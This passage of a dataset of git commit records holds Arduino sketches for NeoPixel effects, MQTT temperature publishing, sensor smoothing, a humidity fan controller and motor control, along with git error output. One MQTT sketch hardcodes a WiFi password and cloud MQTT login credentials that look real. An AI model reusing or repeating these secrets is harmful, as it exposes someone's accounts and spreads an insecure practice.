Number of pixels in NeoPixel strip\n\/\/ Argument 2 = Arduino pin number (most are valid)\n\/\/ Argument 3 = Pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\n\/\/ NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)\n\n\n\/\/ setup() function -- runs once at startup --------------------------------\n\nvoid setup() {\n \/\/ These lines are specifically to support the Adafruit Trinket 5V 16 MHz.\n \/\/ Any other board, you can remove this part (but no harm leaving it):\n#if defined(__AVR_ATtiny85__) && (F_CPU == 16000000)\n clock_prescale_set(clock_div_1);\n#endif\n \/\/ END of Trinket-specific code.\n\n strip.begin(); \/\/ INITIALIZE NeoPixel strip object (REQUIRED)\n strip.show(); \/\/ Turn OFF all pixels ASAP\n strip.setBrightness(50); \/\/ Set BRIGHTNESS to about 1\/5 (max = 255)\n}\n\n\n\/\/ loop() function -- runs repeatedly as long as board is on ---------------\n\nvoid loop() {\n \/\/ Fill along the length of the strip in various colors...\n colorWipe(strip.Color(255, 0, 0), 50); \/\/ Red\n delay(1000);\n colorWipe(strip.Color( 0, 255, 0), 50); \/\/ Green\n delay(1000);\n colorWipe(strip.Color( 0, 0, 255), 50); \/\/ Blue\n delay(1000);\n colorWipe(strip.Color( 255, 0, 255), 50); \/\/ Purple\n delay(1000);\n colorWipe(strip.Color( 0, 255, 255), 50); \/\/ Cyan\n delay(1000);\n colorWipe(strip.Color( 255, 255, 255), 50); \/\/ White\n delay(1000);\n colorWipe(strip.Color( 127, 127, 127), 50); \/\/ White\n delay(1000);\n colorWipe(strip.Color( 255, 255, 0), 50); \/\/ Yellow\n delay(1000);\n\n \/\/ Do a theater marquee effect in various colors...\n theaterChase(strip.Color(127, 127, 127), 50); \/\/ White, half brightness\n theaterChase(strip.Color(127, 0, 0), 50); \/\/ Red, half brightness\n theaterChase(strip.Color( 0, 0, 127), 50); \/\/ Blue, half brightness\n\n rainbow(10); \/\/ Flowing rainbow cycle along the whole strip\n theaterChaseRainbow(50); \/\/ Rainbow-enhanced theaterChase variant\n}\n\n\n\/\/ Some functions of our own for creating animated effects -----------------\n\n\/\/ Fill strip pixels one after another with a color. Strip is NOT cleared\n\/\/ first; anything there will be covered pixel by pixel. Pass in color\n\/\/ (as a single 'packed' 32-bit value, which you can get by calling\n\/\/ strip.Color(red, green, blue) as shown in the loop() function above),\n\/\/ and a delay time (in milliseconds) between pixels.\nvoid colorWipe(uint32_t color, int wait) {\n for(int i=0; i<strip.numPixels(); i++) { \/\/ For each pixel in strip...\n strip.setPixelColor(i, color); \/\/ Set pixel's color (in RAM)\n strip.show(); \/\/ Update strip to match\n delay(wait); \/\/ Pause for a moment\n }\n}\n\n\/\/ Theater-marquee-style chasing lights. Pass in a color (32-bit value,\n\/\/ a la strip.Color(r,g,b) as mentioned above), and a delay time (in ms)\n\/\/ between frames.\nvoid theaterChase(uint32_t color, int wait) {\n for(int a=0; a<10; a++) { \/\/ Repeat 10 times...\n for(int b=0; b<3; b++) { \/\/ 'b' counts from 0 to 2...\n strip.clear(); \/\/ Set all pixels in RAM to 0 (off)\n \/\/ 'c' counts up from 'b' to end of strip in steps of 3...\n for(int c=b; c<strip.numPixels(); c += 3) {\n strip.setPixelColor(c, color); \/\/ Set pixel 'c' to value 'color'\n }\n strip.show(); \/\/ Update strip with new contents\n delay(wait); \/\/ Pause for a moment\n }\n }\n}\n\n\/\/ Rainbow cycle along whole strip. Pass delay time (in ms) between frames.\nvoid rainbow(int wait) {\n \/\/ Hue of first pixel runs 5 complete loops through the color wheel.\n \/\/ Color wheel has a range of 65536 but it's OK if we roll over, so\n \/\/ just count from 0 to 5*65536. Adding 256 to firstPixelHue each time\n \/\/ means we'll make 5*65536\/256 = 1280 passes through this outer loop:\n for(long firstPixelHue = 0; firstPixelHue < 5*65536; firstPixelHue += 256) {\n for(int i=0; i<strip.numPixels(); i++) { \/\/ For each pixel in strip...\n \/\/ Offset pixel hue by an amount to make one full revolution of the\n \/\/ color wheel (range of 65536) along the length of the strip\n \/\/ (strip.numPixels() steps):\n int pixelHue = firstPixelHue + (i * 65536L \/ strip.numPixels());\n \/\/ strip.ColorHSV() can take 1 or 3 arguments: a hue (0 to 65535) or\n \/\/ optionally add saturation and value (brightness) (each 0 to 255).\n \/\/ Here we're using just the single-argument hue variant. The result\n \/\/ is passed through strip.gamma32() to provide 'truer' colors\n \/\/ before assigning to each pixel:\n strip.setPixelColor(i, strip.gamma32(strip.ColorHSV(pixelHue)));\n }\n strip.show(); \/\/ Update strip with new contents\n delay(wait); \/\/ Pause for a moment\n }\n}\n\n\/\/ Rainbow-enhanced theater marquee. Pass delay time (in ms) between frames.\nvoid theaterChaseRainbow(int wait) {\n int firstPixelHue = 0; \/\/ First pixel starts at red (hue 0)\n for(int a=0; a<30; a++) { \/\/ Repeat 30 times...\n for(int b=0; b<3; b++) { \/\/ 'b' counts from 0 to 2...\n strip.clear(); \/\/ Set all pixels in RAM to 0 (off)\n \/\/ 'c' counts up from 'b' to end of strip in increments of 3...\n for(int c=b; c<strip.numPixels(); c += 3) {\n \/\/ hue of pixel 'c' is offset by an amount to make one full\n \/\/ revolution of the color wheel (range 65536) along the length\n \/\/ of the strip (strip.numPixels() steps):\n int hue = firstPixelHue + c * 65536L \/ strip.numPixels();\n uint32_t color = strip.gamma32(strip.ColorHSV(hue)); \/\/ hue -> RGB\n strip.setPixelColor(c, color); \/\/ Set pixel 'c' to value 'color'\n }\n strip.show(); \/\/ Update strip with new contents\n delay(wait); \/\/ Pause for a moment\n firstPixelHue += 65536 \/ 90; \/\/ One cycle of color wheel over 90 frames\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'strandtest\/strandtest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"131fae57e5994cdb36080797f4e888988d1ee582","subject":"wled06_usermod.ino","message":"wled06_usermod.ino\n\nThis section is used to read the temperature from the sensor and prints it using the MQTT service started by Aircoookie.","repos":"Aircoookie\/WLED,Aircoookie\/WLED,Aircoookie\/WLED,Aircoookie\/WLED,Aircoookie\/WLED,Aircoookie\/WLED","old_file":"usermods\/QuinLED_Dig_Uno_Temp_MQTT\/wled06_usermod.ino","new_file":"usermods\/QuinLED_Dig_Uno_Temp_MQTT\/wled06_usermod.ino","new_contents":"\/\/starts Dallas Temp service on boot\nvoid userSetup()\n{\n\/\/ Start the DS18B20 sensor\n sensors.begin(); \n}\n \n\/\/gets called every time WiFi is (re-)connected. Initialize own network interfaces here\nvoid userConnected()\n{\n\n}\n\nvoid userLoop()\n{\n temptimer = millis();\n \n\/\/ Timer to publishe new temperature every 60 seconds\n if (temptimer - lastMeasure > 60000) {\n lastMeasure = temptimer;\n \n\/\/Check if MQTT Connected, otherwise it will crash the 8266\n if (mqtt != nullptr){\n sensors.requestTemperatures();\n\n\/\/Gets prefered temperature scale based on selection in definitions section\n #ifdef Celsius\n float board_temperature = sensors.getTempCByIndex(0);\n #else\n float board_temperature = sensors.getTempFByIndex(0);\n #endif\n\n\/\/Create character string populated with user defined device topic from the UI, and the read temperature. Then publish to MQTT server.\n char subuf[38];\n strcpy(subuf, mqttDeviceTopic);\n strcat(subuf, \"\/temperature\");\n mqtt->publish(subuf, 0, true, String(board_temperature).c_str());\n return;}\n return;}\nreturn;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'usermods\/QuinLED_Dig_Uno_Temp_MQTT\/wled06_usermod.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cfc5e4d4b3d9f0413bf348052d204ac80452abab","subject":"Fixed a missing variable declaration.","message":"Fixed a missing variable declaration.\n","repos":"tectronics\/turbull-encabulator,tectronics\/turbull-encabulator,tectronics\/turbull-encabulator","old_file":"Encabulator\/examples\/SloshingColors\/SloshingColors.ino","new_file":"Encabulator\/examples\/SloshingColors\/SloshingColors.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tectronics\/turbull-encabulator.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"43b2b4621236feec5f90c0b3c747a56eb0b65b78","subject":"add arduino sketch","message":"add arduino sketch\n","repos":"initcz\/muzejni-noc","old_file":"arduino\/muzejni-noc.ino","new_file":"arduino\/muzejni-noc.ino","new_contents":"const int numSensors = 5;\nconst int numReadings = 10;\nconst int printFrequency = 10;\n\nint sensors[numSensors] = {\n A0, A1, A2, A3, A4\n};\nint readings[numSensors][numReadings];\nint indices[numSensors];\nint total[numSensors];\nint average[numSensors];\nint printCounter = 0;\n\nvoid setup() {\n for (int i = 0; i < numSensors; i++) {\n pinMode(sensors[i], INPUT);\n indices[i] = 0;\n total[i] = 0;\n average[i] = 0;\n for (int j = 0; j < numReadings; j++) {\n readings[i][j] = 0;\n }\n }\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n}\n\nvoid loop() {\n printCounter += 1;\n\n for (int i = 0; i < numSensors; i++) {\n updateDataForSensor(i, analogRead(sensors[i]));\n if (printCounter >= printFrequency) {\n Serial.print(average[i]);\n Serial.print(\";\");\n }\n }\n\n if (printCounter >= printFrequency) {\n printCounter = 0;\n Serial.println();\n }\n\n delay(10);\n}\n\nvoid updateDataForSensor(int sensorIndex, int value) {\n int index = indices[sensorIndex];\n\n total[sensorIndex] = total[sensorIndex] - readings[sensorIndex][index];\n readings[sensorIndex][index] = value;\n total[sensorIndex] = total[sensorIndex] + readings[sensorIndex][index];\n index += 1;\n\n average[sensorIndex] = total[sensorIndex] \/ numReadings;\n\n if (index >= numReadings) {\n index = 0;\n }\n indices[sensorIndex] = index;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/muzejni-noc.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2e7473455e5a35ad63931564379531e2391dfb37","subject":"Getting started","message":"Getting started\n","repos":"projectweekend\/Spark-Core-Weather-Tree,projectweekend\/Spark-Core-Weather-Tree","old_file":"Arduino\/weather-tree.ino","new_file":"Arduino\/weather-tree.ino","new_contents":"\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"neopixel\/neopixel.h\"\n\n#define PIN 6\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(24, PIN, WS2812);\n\n\nclass Snow {\n\n unsigned long interval;\n unsigned long previousMillis;\n\n public:\n Snow(unsigned long interval) {\n interval = interval;\n previousMillis = 0;\n }\n\n void Run() {\n \/\/ int randomPixel = random(0, Adafruit_NeoPixel::numPixels());\n\n unsigned long currentMillis = millis();\n\n if(currentMillis - previousMillis > interval) {\n previousMillis = currentMillis;\n \/\/ Adafruit_NeoPixel::setPixelColor(randomPixel, Adafruit_NeoPixel::Color(127, 127, 127));\n \/\/ Adafruit_NeoPixel::show();\n }\n\n \/\/ Adafruit_NeoPixel::setPixelColor(randomPixel, 0);\n }\n\n};\n\n\nvoid setup() {\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n randomSeed(analogRead(0));\n}\n\n\nvoid loop() {\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/weather-tree.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"67c8c9c1d143bbda618347c35ffbdd2a53ef1958","subject":"sent temp via mqttn on arduino","message":"sent temp via mqttn on arduino\n","repos":"duchangyu\/project-arduivew,duchangyu\/project-arduivew,duchangyu\/project-arduivew","old_file":"arduino\/arduiview-lm35-mqtt\/arduiview-lm35-mqtt.ino","new_file":"arduino\/arduiview-lm35-mqtt\/arduiview-lm35-mqtt.ino","new_contents":"#include <Adafruit_SleepyDog.h>\n#include <Adafruit_CC3000.h>\n#include <ccspi.h>\n#include <SPI.h>\n#include \"utility\/debug.h\"\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_CC3000.h\"\n\n#define CC3000_IRQ 3\n#define CC3000_VBAT 5\n#define CC3000_CS 10\n\n\n\/\/ Security can be WLAN_SEC_UNSEC, WLAN_SEC_WEP, WLAN_SEC_WPA or WLAN_SEC_WPA2\n#define WLAN_SECURITY WLAN_SEC_WPA2\n\/\/ cannot be longer than 32 characters!\n#define WLAN_SSID \"HUAWEI-DevTech\"\n\/\/ For connecting router or AP, don't forget to set the SSID and password here!!\n#define WLAN_PASS \"Autodesk123\"\n\n\n\/************************* mqtt server setup *********************************\/\n\/\/ http:\/\/www.cloudmqtt.com \n\n\n#define AIO_SERVER \"m11.cloudmqtt.com\"\n#define AIO_SERVERPORT 15521\n#define AIO_USERNAME \"danieldu\"\n#define AIO_KEY \"Autodesk123\"\n\n\/\/ Store the MQTT server, username, and password in flash memory.\n\/\/ This is required for using the Adafruit MQTT library.\nconst char MQTT_SERVER[] PROGMEM = AIO_SERVER;\nconst char MQTT_USERNAME[] PROGMEM = AIO_USERNAME;\nconst char MQTT_PASSWORD[] PROGMEM = AIO_KEY;\n\n\n\n\/\/The sensor id in mongoDB, currently we have only one sensor\n#define SENSOR_ID \"561083be06dd6162658ae8c8\"\n\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(\n CC3000_CS,\n CC3000_IRQ,\n CC3000_VBAT,\n SPI_CLOCK_DIVIDER); \/\/ you can change this clock speed\n\n\n\/\/ Setup the CC3000 MQTT class by passing in the CC3000 class and MQTT server and login details.\nAdafruit_MQTT_CC3000 mqtt(&cc3000, MQTT_SERVER, AIO_SERVERPORT, MQTT_USERNAME, MQTT_PASSWORD);\n\n\n\/\/ You don't need to change anything below this line!\n#define halt(s) { Serial.println(F( s )); while(1); }\n\n\n\/****************************** Feeds ***************************************\/\n\n\/\/ Setup a feed called 'temperature-center' for publishing.\nconst char TEMPERATURE_FEED[] PROGMEM = \"temperature-center\";\nAdafruit_MQTT_Publish photocell = Adafruit_MQTT_Publish(&mqtt, TEMPERATURE_FEED);\n\n\nstatic Adafruit_CC3000_Client client;\n\n\nuint32_t ip = 0;\n\nunsigned long lastConnectionTime = 0; \/\/ last time you connected to the server, in milliseconds\nconst unsigned long postingInterval = 5L * 1000L; \/\/ delay between updates, in milliseconds\n\nunsigned long lastConnectWifiTime = 0;\nconst unsigned long checkNetworkInterval = 30L * 1000L * 60L; \/\/reconnect WIFI every 20 min\n\nvoid setup() {\n\n Serial.begin(115200);\n\n initWifiConnection();\n}\n\nvoid loop() {\n\n if (millis() - lastConnectWifiTime > checkNetworkInterval) {\n\n initWifiConnection();\n\n lastConnectWifiTime = millis();\n }\n\n\n\n\n\n\n \/\/ Make sure to reset watchdog every loop iteration!\n Watchdog.reset();\n\n \/\/ Ensure the connection to the MQTT server is alive (this will make the first\n \/\/ connection and automatically reconnect when disconnected). See the MQTT_connect\n \/\/ function definition further below.\n MQTT_connect();\n\n\n \/\/get temperature value\n float temp = 0.0;\n \/\/ get the current temperature from sensor\n int reading = analogRead(0);\n temp = reading * 0.0048828125 * 100;\n Serial.print(F(\"Current temp\"));\n Serial.println(temp);\n\n\n \/\/ Now we can publish stuff!\n Serial.print(F(\"\\nSending temperature val \"));\n Serial.print(temp);\n Serial.print(\"...\");\n if (! photocell.publish(temp)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n \n \/\/ ping the server to keep the mqtt connection alive\n if(! mqtt.ping()) {\n Serial.println(F(\"MQTT Ping failed.\"));\n } \n\n\n}\n\n\nvoid initWifiConnection()\n{\n\n\n \/* Initialise the module *\/\n \/\/Serial.println(F(\"\\nInitialising the CC3000 ...\"));\n if (!cc3000.begin())\n {\n Serial.println(F(\"Unable to initialise the CC3000! Check your wiring?\"));\n while (1);\n }\n\n \/* Attempt to connect to an access point *\/\n char *ssid = WLAN_SSID; \/* Max 32 chars *\/\n Serial.print(F(\"\\nAttempting to connect to \"));\n Serial.println(ssid);\n\n \/* NOTE: Secure connections are not available in 'Tiny' mode!\n By default connectToAP will retry indefinitely, however you can pass an\n optional maximum number of retries (greater than zero) as the fourth parameter.\n *\/\n if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n Serial.println(F(\"Failed!\"));\n while (1);\n }\n\n\n \/\/Serial.println(\"\\nconnected to WIFI.\");\n\n \/* Wait for DHCP to complete *\/\n \/\/Serial.println(\"\\nRequest DHCP\");\n while (!cc3000.checkDHCP())\n {\n delay(1000); \/\/ ToDo: Insert a DHCP timeout!\n }\n\n\n \/\/Serial.println(\"\\nDHCP is OK\");\n\n\n Serial.println(\"Initialization completed.\\n\");\n\n}\n\n\n\n\/\/ Function to connect and reconnect as necessary to the MQTT server.\n\/\/ Should be called in the loop function and it will take care if connecting.\nvoid MQTT_connect() {\n int8_t ret;\n\n \/\/ Stop if already connected.\n if (mqtt.connected()) {\n return;\n }\n\n Serial.print(\"Connecting to MQTT... \");\n\n while ((ret = mqtt.connect()) != 0) { \/\/ connect will return 0 for connected\n Serial.println(mqtt.connectErrorString(ret));\n if (ret < 0){\n \/\/lets connect to wifi again\n initWifiConnection();\n }\n Serial.println(\"Retrying MQTT connection in 5 seconds...\");\n mqtt.disconnect();\n delay(5000); \/\/ wait 5 seconds\n }\n Serial.println(\"MQTT Connected!\");\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/arduiview-lm35-mqtt\/arduiview-lm35-mqtt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"95953ff773aa019c320c04c054f3924502f22eee","subject":"Added shofanduino2 program, much simpler since some of the calculations are now done in the sensor (filtering out noisy values).","message":"Added shofanduino2 program, much simpler since\nsome of the calculations are now done in the\nsensor (filtering out noisy values).\n\nInstead of 'avg' and 'max', we use envelope min\nand max values that try to hug the humidity with\na slow moving function. The slow moving function\nis based on the half-life equation, so the\nparameters are more intuitive.","repos":"mjholtkamp\/shofanduino,mjholtkamp\/shofanduino,mjholtkamp\/shofanduino","old_file":"shofanduino2\/shofanduino2.ino","new_file":"shofanduino2\/shofanduino2.ino","new_contents":"\/\/#include <Time.h>\n#include <DHT22.h>\n\n#define DHT22_PIN 6\n\n\/\/ consts for controlling relays\nconst int K1 = 11;\nconst int K2 = 12;\nconst int milliseconds_switch_delay = 100;\nconst int NormallyConnected = HIGH;\nconst int NormallyOpen = LOW;\ntypedef enum {FAN_OFF, FAN_NOCHANGE, FAN_ON};\n\n\/\/ DHT consts\/variables\nDHT22 myDHT22(DHT22_PIN);\n\n\/\/ consts\/variables for humidity sensor and averages etc.\nconst int sensorPin = A0; \/\/ select the input pin for the potentiometer\nconst int milliseconds_sleep = 5000;\n\nfloat thresholdLow = 0.0;\nfloat thresholdHigh = 0.0;\nfloat env_min = 0.0;\nfloat env_max = 0.0;\nfloat humidity = 0.0;\nfloat temperature = 0.0;\nfloat on_off = 0;\n\n\/\/ variables for decay\n \/\/ number of seconds after which the difference between the humidity and the max envelope should have been halved.\nconst float p_halflife_max = 604800.0;\nconst float p_halflife_min = 86400.0; \/\/ same for the min envelope. This is shorter because it needs to change faster.\nfloat env_max_decay = 0.0;\nfloat env_min_decay = 0.0;\n\n\/\/ variables to decide the state of the fan\nint state = FAN_OFF; \/\/ action to take, based on sensor reading\n\nvoid getValues() {\n DHT22_ERROR_t errorCode;\n\n \/\/ The sensor can only be read from every 1-2s, and requires a minimum\n \/\/ 2s warm-up after power-on.\n delay(milliseconds_sleep);\n\n errorCode = myDHT22.readData();\n humidity = myDHT22.getHumidity();\n temperature = myDHT22.getTemperatureC();\n\n switch(errorCode) {\n case DHT_ERROR_NONE:\n break;\n case DHT_ERROR_CHECKSUM:\n Serial.print(\"E: checksum \");\n Serial.print(myDHT22._lastCheckSum);\n Serial.print(\" != \");\n Serial.print(myDHT22._lastExpectedCheckSum);\n Serial.print(\". \");\n Serial.print(temperature);\n Serial.print(\"C \");\n Serial.print(humidity);\n Serial.println(\"%. Are you really sure you set the clock to 8Mhz?\");\n break;\n case DHT_BUS_HUNG:\n Serial.println(\"E: BUS Hung\");\n break;\n case DHT_ERROR_NOT_PRESENT:\n Serial.println(\"E: Sensor not found\");\n break;\n case DHT_ERROR_ACK_TOO_LONG:\n Serial.println(\"E: ACK time out\");\n break;\n case DHT_ERROR_SYNC_TIMEOUT:\n Serial.println(\"E: Sync Timeout\");\n break;\n case DHT_ERROR_DATA_TIMEOUT:\n Serial.println(\"E: Data Timeout\");\n break;\n case DHT_ERROR_TOOQUICK:\n Serial.println(\"E: Polled to quick\");\n break; \n }\n}\n\nvoid setup() {\n Serial.begin(9600);\n\n \/\/ set relays to normally connected\n pinMode(K1, OUTPUT);\n pinMode(K2, OUTPUT);\n digitalWrite(K1, NormallyConnected);\n digitalWrite(K2, NormallyConnected);\n\n Serial.println(\"DHT22 temperature\/humidity. Did you set the clock to 8Mhz?\");\n\n \/\/ initialize sensor\n pinMode(sensorPin, INPUT);\n getValues();\n env_min = humidity;\n env_max = humidity;\n \n \/\/ calculate decay\n float t = milliseconds_sleep \/ 1000.0f;\n\n \/\/ calculate what would happen after one step, to unit value (1.0)\n \/\/ the result is the scale factor we can apply to the envelope max\/min\n env_max_decay = 1.0f * pow(2, -t \/ p_halflife_max);\n env_min_decay = 1.0f * pow(2, -t \/ p_halflife_min);\n}\n\nvoid loop() {\n getValues();\n \n \/\/ clamp the envelope min\/max, decay otherwise\n if (env_min > humidity) {\n env_min = humidity;\n } else {\n \/\/ this actually decays the difference between humidity\n \/\/ and env_min, so this means env_min goes up!\n env_min = humidity - (humidity - env_min) * env_min_decay;\n }\n if (env_max < humidity) {\n env_max = humidity;\n } else {\n env_max = humidity + (env_max - humidity) * env_max_decay;\n }\n \n \/\/ New thresholds based on the envelope values. We\n \/\/ want the fan to turn on pretty quickly, but we don't\n \/\/ want it to turn off quickly. This explains the difference\n \/\/ in factors between low and high.\n thresholdLow = env_min + (env_max - env_min) \/ 20.0f;\n thresholdHigh = env_min + (env_max - env_min) \/ 2.0f;\n\n state = FAN_NOCHANGE;\n if (humidity < thresholdLow) {\n state = FAN_OFF;\n } else if (humidity > thresholdHigh) {\n state = FAN_ON;\n }\n\n \/\/ switch the relays!\n switch (state) {\n case FAN_OFF:\n \/\/ because we don't know the status of the 3-way switch, we switch both\n \/\/ relays at the same time and hope there is no short circuit. This should\n \/\/ not be an issue, but anyway...\n digitalWrite(K1, NormallyConnected);\n digitalWrite(K2, NormallyConnected);\n break;\n case FAN_ON:\n digitalWrite(K2, NormallyOpen);\n \/\/ since we don't know how the switch is switched, we first switch K2 to\n \/\/ non-connected, then wait a while for it to settle, before we switch\n \/\/ K1 to connected L. This should prevent any shorts (don't know if that\n \/\/ is actually an issue, but better safe than sorry).\n delay(milliseconds_switch_delay);\n digitalWrite(K1, NormallyOpen);\n break;\n }\n\n \/\/ display the current state in the graph\n \/\/ don't use absolute values, so the graph can zoom in and show more information\n switch (state) {\n case FAN_OFF:\n on_off = 0.0;\n break;\n case FAN_ON:\n on_off = 1.0;\n break;\n case FAN_NOCHANGE:\n on_off = 0.5;\n break;\n }\n\n \/\/ print out the values for debugging\/plotting\n Serial.print(\"humidity = \");\n Serial.print(humidity, 1);\n Serial.print(\", threshold_low = \");\n Serial.print(thresholdLow, 3);\n Serial.print(\", threshold_hi = \");\n Serial.print(thresholdHigh, 3);\n Serial.print(\", envelope_min = \");\n Serial.print(env_min, 3);\n Serial.print(\", envelope_max = \");\n Serial.print(env_max, 3);\n Serial.print(\", temperature = \");\n Serial.print(temperature, 1);\n Serial.print(\", on_off = \");\n Serial.println(on_off, 1);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'shofanduino2\/shofanduino2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"215501ca0782c89c119e16b16d819e4f83741c18","subject":"Create pin_change_interrupt.ino","message":"Create pin_change_interrupt.ino","repos":"jdmgroup\/robotchemistry","old_file":"interrupts\/pin_change_interrupt.ino","new_file":"interrupts\/pin_change_interrupt.ino","new_contents":"#include <Arduino.h>\n\n#define INTERRUPT_PIN 9\n\n\/*\nPin Change Interrupt Example\n\nJames H. Bannock, 2017\nNorges teknisk-naturvitenskapelige universitet (NTNU)\n\nNotes:\n - A button is attached to Pin 9 and GND\n - INPUT_PULLUP is used to pin the voltage of the input to 5V while the Button\n is open\n - On the Uno there are three ports, Pin 9 is on PORT B (PORTB)\n - There are Pin Change Interrupts associated to each port, PCINT0 is for PORTB\n - PCINT0 must be activated by enabling Pin Change Interrupt Enable 0 (PCIE0)\n in the Pin Change Interrupt Control Register (PCICR)\n - Pin 9 corresponds to Pin Change Interrupt 1 (PCINT1) and must be enabled in\n the Pin Change Mask 0 (PCMSK0)\n*\/\n\nvoid setup() {\n Serial.begin(9600); (!Serial); \/\/ setup the serial port\n pinMode(INTERRUPT_PIN, INPUT_PULLUP); \/\/ pull-up to pin voltage to 5V\n setupPinInterrupt(); \/\/ abstract pin interrupt setup\n}\n\nISR (PCINT0_vect) { \/\/ Interrupt Service Routine (ISR) for Pin Change Interrupt\n \/\/ Request 0 (PCINT0)\n Serial.println(\"Button State Change Detected!\"); \/\/ print an output\n}\n\nvoid loop() {}\n\nvoid setupPinInterrupt() {\n PCICR |= (1 << PCIE0); \/\/ enable PCINT0 ISR\n PCMSK0 |= (1 << PCINT1); \/\/ enable interrupt on PCINT1 (Pin 9)\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'interrupts\/pin_change_interrupt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2f4a071cde563034f55ccffb6d65b7e6ccd7f384","subject":"Added MiniDora sketch for the Arduino Uno","message":"Added MiniDora sketch for the Arduino Uno\n","repos":"MRSDTeamI\/bud-e,MRSDTeamI\/bud-e,MRSDTeamI\/bud-e,MRSDTeamI\/bud-e,MRSDTeamI\/bud-e,MRSDTeamI\/bud-e","old_file":"Navigation\/base_controller\/minidora.ino","new_file":"Navigation\/base_controller\/minidora.ino","new_contents":"#include <Servo.h>\n Servo posBack;\n Servo posFront;\n Servo driveR;\n Servo driveL;\n String SerialInput=\"\";\n String Svalue;\n int value;\nvoid setup()\n{\n Serial.begin(9600);\n posBack.attach(7);\/\/ 1 dot\n posFront.attach(8);\/\/ 4 dot\n driveR.attach(9);\/\/ 2 dots\n driveL.attach(10);\/\/ 3 dots\n}\n\n\/*\nMiniDora EVX 2 (EVX 3014)\nNOTE: Longer treads are the front treads; Shorter treads are the back treads.\n\ndriveR: Calibs for right side drive motors through the ESC.\nFullSpeedForward:0-1349; x-y (x >> 10000)\nForward:1350(high speed)-1484 (lowest speed)\nBraking:1485-1555\n1556-1557: Not reliable\nReverse:1558(lowest speed)-1900 (highest speed)\nFullSpeedReverse:1900-x\n\ndriveL: Calibs for left side drive motors through the ESC.\nFullSpeedForward:1930-z\nForward:1572(slowest)-1930 (fastest)\nBraking:1475-1570\n1571-1572:Not reliable\nReverse:1474 (slowest)- 1320(fastest)\nFullSpeedReverse:-1474\n*\/\nvoid loop()\n{\n \n if(Serial.available())\n {\n for(int i=1;i<=3;i++)\n {\n SerialInput = Serial.readStringUntil(' ');\n if(SerialInput!=\"\")\n {\n Serial.print(\"Processing Command:\");Serial.print(SerialInput);Serial.println();\n char motor=SerialInput.charAt(0);\n \/\/ Serial.print(\"LED=\");Serial.print(LED);Serial.println();\n for(int j=1;SerialInput.charAt(j)!='\\0';j++)\n Svalue+=SerialInput.charAt(j);\n \/\/ Serial.print(\"Svalue=\");Serial.print(Svalue);Serial.println();\n value=Svalue.toInt();\/\/In case the value input is not in the range of 0-255, the input value is converted\n \/\/ into integer with truncation and written to the Pin(s).\n \/\/ Serial.print(\"value=\");Serial.print(value);Serial.println();\n switch(motor)\n {\n case 'r': {Serial.print(\"Writing\");Serial.print(value);Serial.print(\"to motor 'r' \");Serial.println();driveR.writeMicroseconds(value);break;}\n case 'l': {Serial.print(\"Writing\");Serial.print(value);Serial.print(\"to motor 'l' \");Serial.println();driveL.writeMicroseconds(value);break;}\n \/\/case 'b': {BlueValue=value;break;} \n default: {Serial.print(\"Wrong Command. Please check your input\");Serial.println();break;} \n }\n }\n Svalue=\"\";\n }\n \n SerialInput=\"\";\n }\n \n \n} \n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Navigation\/base_controller\/minidora.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"dd2f826feff12ec7bc049acb116ade0b0d5c3aa6","subject":"Created sketch","message":"Created sketch\n\nThis is still work in progress. Various code-sources are used to create\nthis. Current instance is unlikely to work.\n","repos":"Mausy5043\/arduino,Mausy5043\/arduino,Mausy5043\/arduino,Mausy5043\/arduino","old_file":"Vsens\/src\/sketch.ino","new_file":"Vsens\/src\/sketch.ino","new_contents":"\/*--------------------------------------------------------------\n Adapted from : volt_measure\n 22 May 2013 by W.A. Smith, http:\/\/startingelectronics.com\n\n Modified by : M. Hendrix\n--------------------------------------------------------------*\/\n\n\/\/ number of samples per measurement\n#define numSamples 10\n#define measurePin A0\n\nint sumSamples = 0; \/\/ sum of samples taken\nint cntSamples = 0; \/\/ current sample number\nfloat voltage = 0.0; \/\/ calculated voltage\n\nconst float ref5V = 5.000; \/\/ calibration of reference value for 5.0V ADC \n\n\nvoid setup()\n{\n 